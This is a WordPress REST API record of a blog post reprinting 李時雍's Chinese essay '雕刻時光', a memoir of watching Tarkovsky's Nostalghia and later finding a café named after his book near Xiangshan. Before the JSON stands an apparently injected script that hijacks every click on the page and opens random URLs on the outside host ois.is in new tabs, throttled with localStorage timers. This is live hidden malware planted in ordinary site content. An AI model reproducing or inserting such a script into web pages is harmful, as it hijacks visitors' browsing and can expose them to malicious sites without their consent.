<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1149,"date":"2016-03-17T15:59:50","date_gmt":"2016-03-17T07:59:50","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1149"},"modified":"2016-03-17T16:11:24","modified_gmt":"2016-03-17T08:11:24","slug":"%e9%9b%95%e5%88%bb%e6%99%82%e5%85%89-%e6%9d%8e%e6%99%82%e9%9b%8d","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1149","title":{"rendered":"\u96d5\u523b\u6642\u5149-\u674e\u6642\u96cd"},"content":{"rendered":"<p style=\"text-align: center; line-height: 22pt; text-indent: 30pt; margin: 0pt 36pt 18pt;\" align=\"center\"><b><span style=\"font-family: '\u5fae\u8edf\u6b63\u9ed1\u9ad4','sans-serif'; font-size: 15pt;\">\u96d5\u523b\u6642\u5149<\/span><\/b><\/p>\n<p style=\"text-align: center; line-height: 22pt; text-indent: 26pt; margin: 0cm 36pt 18pt;\" align=\"center\"><b><span style=\"font-family: '\u5fae\u8edf\u6b63\u9ed1\u9ad4','sans-serif'; font-size: 13pt;\">\u674e\u6642\u96cd<\/span><\/b><\/p>\n<p style=\"line-height: 22pt; text-indent: 22pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u540c\u4e00\u5834\u9727\uff0c\u6c24\u6c33\u8457\u540c\u4e00\u6247\u7a97\u524d\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 22pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u62b5\u8fd4\u6642\uff0c\u7d30\u96e8\u5982\u6563\u958b\u7684\u7dda\u7d6e\uff0c\u7d1b\u843d\u5728\u8449\u68a2\u548c\u9f3b\u5c16\uff0c\u8986\u84cb\u91ce\u8349\u5730\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 22pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u518d\u56de\u5230\u9019\u6821\u5712\u5c71\u5f91\u9014\u4e2d\u7684\u5496\u5561\u5c4b\uff0c\u5eca\u7c37\u986f\u5f97\u4e9b\u8a31\u9839\u820a\uff0c\u9580\u865b\u63a9\uff0c\u6a19\u793a\u8aaa\u9700\u81ea\u884c\u5f9e\u4e2d\u4f7f\u529b\u5411\u5169\u5074\u63a8\u958b\u3002\u5ba4\u88e1\u660f\u6697\uff0c\u7030\u6f2b\u8457\u9577\u51ac\u6f6e\u6fd5\u7684\u6c23\u606f\u3002\u5f80\u5e38\u7fd2\u5750\u7684\u90a3\u4e00\u6392\u81e8\u7a97\u5ea7\u6905\u64f1\u7f6e\u6709\u96dc\u7269\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 22pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u5750\u5728\u540c\u4e00\u6247\u7a97\u524d\uff0c\u9762\u5c0d\u8457\u7684\u662f\u7246\u4e0a\u61f8\u639b\u90a3\u5e7e\u5e45\u597d\u719f\u6089\u7684\u6d77\u5831\uff0c\u6ce2\u8d6b\u58eb\u8096\u50cf\u3001\u300a\u4e82\u4e16\u4f73\u4eba\u300b\u5287\u7167\uff0c\u7fa9\u5927\u5229\u756b\u5bb6\u99ac\u6258\u8ae6\uff08<\/span><span style=\"font-size: 11pt;\">Lorenzo Mattotti<\/span><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\uff09\u70ba\u5b89\u6771\u5c3c\u5967\u5c3c\u751f\u524d\u6700\u5f8c\u4e00\u90e8\u96fb\u5f71\u300a<\/span><span style=\"font-size: 11pt;\">Eros<\/span><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u300b\u6240\u7e6a\u63d2\u5716\uff0c\u611b\u4eba\u64c1\u62b1\u6210\u851a\u85cd\u5927\u6d77\u88e1\u6c38\u6046\u5c79\u7acb\u7684\u77f3\u5ca9\u3002\u62ed\u6de8\u7a97\u73bb\uff0c\u76ee\u5149\u5c0b\u8de1\u6797\u5f91\uff0c\u76f4\u5230\u76e1\u982d\u8449\u68a2\uff0c\u662f\u90a3\u5e7e\u5e74\u975c\u975c\u8b80\u66f8\u90a3\u5e62\u5dcd\u5ce8\u9ad8\u51fa\u7684\u5b78\u9662\u5efa\u7bc9\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 22pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u6642\u5e38\u6211\u5728\u5348\u5f8c\u4e0a\u5c71\uff0c\u76f4\u5230\u591c\u6697\u71c8\u7184\u96e2\u53bb\uff0c\u4e00\u8def\u807d\u8457\u8173\u4e0b\u8e29\u904e\u843d\u8449\u7834\u788e\u7684\u8033\u8a9e\u3002\u9014\u7d93\u90a3\u5c0f\u5c4b\uff0c\u5c4b\u88e1\u56fa\u5b9a\u653e\u7247\u7684\u96fb\u5f71\u793e\u5718\u6b63\u597d\u6563\u5834\uff0c\u8ddf\u5728\u5b78\u751f\u7fa4\u4e2d\uff0c\u65c1\u807d\u8457\u4ed6\u5011\u8ac7\u8ad6\u7684\u5c0e\u6f14\u8a71\u984c\u3002\u90a3\u5e74\u6211\u66f4\u7fd2\u6163\u7368\u81ea\u5728\u9ed1\u6697\u7684\u623f\u9593\u88e1\uff0c\u770b\u7247\uff0c\u79df\u7247\uff0c\u5728\u57ce\u5340\u90a3\u5e62\u4e00\u4e5d\u4e09\u25cb\u5e74\u4ee3\u8208\u5efa\u7684\u8001\u6232\u9662\u300c\u6709\u6a02\u9928\u300d\u820a\u8de1\u3001\u5982\u4eca\u7684\u5f71\u50cf\u8cc7\u6599\u9928\uff0c\u5728\u9760\u8fd1\u57ce\u968d\u5edf\u7684\u4e8c\u8f2a\u5f71\u9662\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 22pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u552f\u6709\u4e00\u6b21\uff0c\u6211\u70ba\u4e86\u770b\u5854\u53ef\u592b\u65af\u57fa\u300a\u9109\u6101\u300b\u63d0\u65e9\u96e2\u958b\u7814\u7a76\u5ba4\uff0c\u90a3\u591c\u5496\u5561\u5c4b\u88e1\u5be5\u5be5\u5e7e\u4eba\uff0c\u9910\u5f8c\u66f4\u5f62\u7a7a\u5bc2\u3002\u653e\u6620\u8005\u64a4\u958b\u684c\u6905\u3001\u67b6\u8d77\u6295\u6620\u5e55\uff0c\u5c31\u7e8c\u5f8c\u8207\u6211\u5011\u8aaa\uff0c\u4eca\u665a\u4e0d\u597d\u610f\u601d\u6c92\u6709\u4e2d\u82f1\u6587\u5b57\u5e55\u3002\u5728\u6211\u4e0d\u53ca\u7336\u8c6b\u662f\u5426\u96e2\u8eab\u8fd4\u5bb6\u524d\uff0c\u90a3\u9ed1\u767d\u756b\u9762\u88e1\u6fc3\u6fc3\u9727\u6c23\u88e1\u62ab\u8863\u884c\u8def\u7684\u4e00\u5bb6\u4eba\uff0c\u9015\u76f4\u8d70\u5411\u4e86\u6e56\u8207\u8352\u539f\uff1b\u5973\u8072\u6b4c\u8b20\uff0c\u540c\u6b65\u8457\u60b2\u50b7\u7684\u7ba1\u5f26\u548c\u8a60\u5606\u3002\u5922\u9b58\u822c\u93e1\u982d\uff0c\u63ed\u5e55\u4fc4\u570b\u8a69\u4eba\u70ba\u4e86\u5275\u4f5c\u6b4c\u5287\u800c\u524d\u8d74\u7fa9\u5927\u5229\u627e\u5c0b\u6d41\u4ea1\u96b1\u8de1\u7684\u97f3\u6a02\u5bb6\u8001\u4eba\u6545\u4e8b\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 22pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u7576\u5e74\u61f5\u61c2\u770b\u5b8c\u90a3\u540c\u6a23\u662f\u5854\u53ef\u592b\u65af\u57fa\u53bb\u570b\u6d41\u4ea1\u4e4b\u5f8c\u7684\u5012\u6578\u4f5c\u54c1\u3002\u5728\u964c\u751f\u7684\u4fc4\u8a9e\u548c\u7fa9\u5927\u5229\u6587\u4e2d\uff0c\u7559\u4e0b\u4e00\u5e55\u5e55\u6f2b\u6c34\u7684\u5ee2\u589f\u5efa\u7bc9\u4e2d\u6d89\u8db3\u5c0b\u8def\u7684\u8a69\u4eba\u8eab\u59ff\u3002\u7576\u6642\u6211\u7d42\u65bc\u70ba\u4e86\u6642\u5e38\u88ab\u63d0\u53ca\u7684\u6700\u5f8c\u4e00\u500b\u5f71\u53f2\u93e1\u982d\u800c\u7559\u4e0b\u770b\u5b8c\uff1a\u8a69\u4eba\u8b77\u597d\u624b\u4e2d\u5c0f\u5c0f\u71ed\u706b\uff0c\u71c3\u8d77\u53c8\u6ec5\u7184\uff0c\u4e00\u6b21\u5169\u6b21\uff0c\u8d70\u904e\u6c34\u6c60\uff0c\u5982\u5f14\u4ea1\u5100\u5f0f\uff0c\u9054\u6210\u8001\u4eba\u7684\u907a\u9858\uff0c\u9ede\u8d77\u71ed\u5149\uff0c\u4e5d\u5206\u9418\uff0c\u4e00\u500b\u9577\u93e1\u982d\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 22pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u5f8c\u4f86\u9678\u7e8c\u770b\u904e\u66f4\u591a\uff0c\u300a\u4f0a\u51e1\u7684\u5c11\u5e74\u6642\u4ee3\u300b\u3001\u300a\u93e1\u5b50\u300b\u3001\u300a\u72a7\u7272\u300b\uff0c\u651d\u5f71\u96c6\u300a<\/span><span style=\"font-size: 11pt;\">Instant Light<\/span><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u300b\uff0c\u7136\u800c\u6d41\u4ea1\u8207\u9109\u6101\u8ddd\u96e2\u5f97\u6211\u50cf\u971c\u96ea\u9727\u5c01\u5317\u5730\uff0c\u50cf\u90a3\u4e00\u8072\u72ac\u7378\u55e5\u53eb\uff0c\u8ff4\u76ea\u800c\u7d42\u6b78\u865b\u7121\u3002<\/span><\/p>\n<p style=\"line-height: 22pt; text-indent: 22pt; margin: 0cm 36pt 0pt;\"><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u53bb\u51ac\uff0c\u53c3\u52a0\u5b78\u8853\u6703\u8b70\u4e4b\u6545\uff0c\u8d74\u62b5\u5317\u4eac\u9999\u5c71\uff0c\u537b\u9047\u4e0a\u4e00\u5834\u9a5f\u96ea\uff0c\u56f0\u8eab\u65c5\u5e97\u591a\u6642\u3002\u5176\u4e2d\u4e00\u65e5\u5929\u5019\u7a0d\u7de9\u6211\u5faa\u8def\u800c\u51fa\uff0c\u76f4\u8d70\u5230\u5c71\u8173\u5e02\u96c6\u3002\u516c\u8eca\u7ad9\u70d8\u6696\u7684\u71b1\u6c23\u53ca\u72f9\u5df7\u5eca\u7c37\u6ef4\u96e8\u4e0b\u7684\u53eb\u8ce3\u6524\u8ca9\u4e4b\u9593\uff0c\u9014\u7d93\u4e86\u4e00\u9593\u4e0d\u751a\u986f\u773c\uff0c\u7030\u6f2b\u9727\u6c23\u7684\u5496\u5561\u5ba4\uff1b\u99d0\u505c\uff0c\u62ac\u982d\u770b\u4e86\u770b\uff0c\u5e97\u540d\u5de7\u5408\u53d6\u81ea\u5854\u53ef\u592b\u65af\u57fa\u8457\u4f5c\u300a\u96d5\u523b\u6642\u5149\u300b\u3002\u56de\u5230\u6703\u5834\uff0c\u8207\u6703\u7684\u5c0e\u6f14\u6b63\u8ac7\u5230\u7576\u521d\u62cd\u651d\u300a\u7389\u537f\u5ac2\u300b\u7684\u7b2c\u4e00\u500b\u904b\u93e1\uff0c\u5982\u4f55\u8b93\u4ed6\u56de\u60f3\u4e86\u5e74\u5c11\u6642\u6240\u770b\u7684\u7dad\u65af\u5eb7\u63d0\u96fb\u5f71\u3002\u5fa9\u8d70\u9032\u7d30\u96e8\uff0c\u6211\u64a5\u901a\u96fb\u8a71\u7d66\u59b3\u3002\u300c\u5582\u300d\u7684\u90a3\u523b\uff0c\u5f77\u5f7f\u8d70\u904e\u4e86\u597d\u9060\u597d\u9577\u7684\u9727\u8207\u8def\u7684\u93e1\u982d\uff0c\u83ab\u540d\u5730\u6211\u60f3\u8d77\u96fb\u5f71\u6700\u5f8c\uff0c\u90a3\u4e00\u9ede\u5fae\u986b\u71ed\u5149\u6240\u7d42\u62b5\u9054\u7684\u5f7c\u8655\u3002\u5fc3\u88e1\u9042\u6d6e\u73fe\u4e86\u7d42\u5834\u914d\u6a02\u7684\u90a3\u4e00\u6bb5\u65cb\u5f8b\u3002<\/span><span style=\"font-size: 11pt;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><\/p>\n<p style=\"text-align: right; line-height: 22pt; text-indent: 22pt; margin: 0cm 36pt 0pt;\"><span style=\"font-size: 11pt;\">2013-05-01 01:23 <\/span><span style=\"font-family: '\u65b0\u7d30\u660e\u9ad4','serif'; font-size: 11pt;\">\u4e2d\u570b\u6642\u5831<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u96d5\u523b\u6642\u5149 \u674e\u6642\u96cd \u540c\u4e00\u5834\u9727\uff0c\u6c24\u6c33\u8457\u540c\u4e00\u6247\u7a97\u524d\u3002 \u62b5\u8fd4\u6642\uff0c\u7d30\u96e8\u5982\u6563\u958b\u7684\u7dda\u7d6e\uff0c\u7d1b\u843d\u5728\u8449\u68a2\u548c\u9f3b\u5c16\uff0c\u8986\u84cb\u91ce\u8349\u5730\u3002 \u518d\u56de [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[61,46,1,60,42,56],"tags":[92,91,89],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1149"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1149"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1149\/revisions"}],"predecessor-version":[{"id":1150,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1149\/revisions\/1150"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1149"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1149"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1149"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}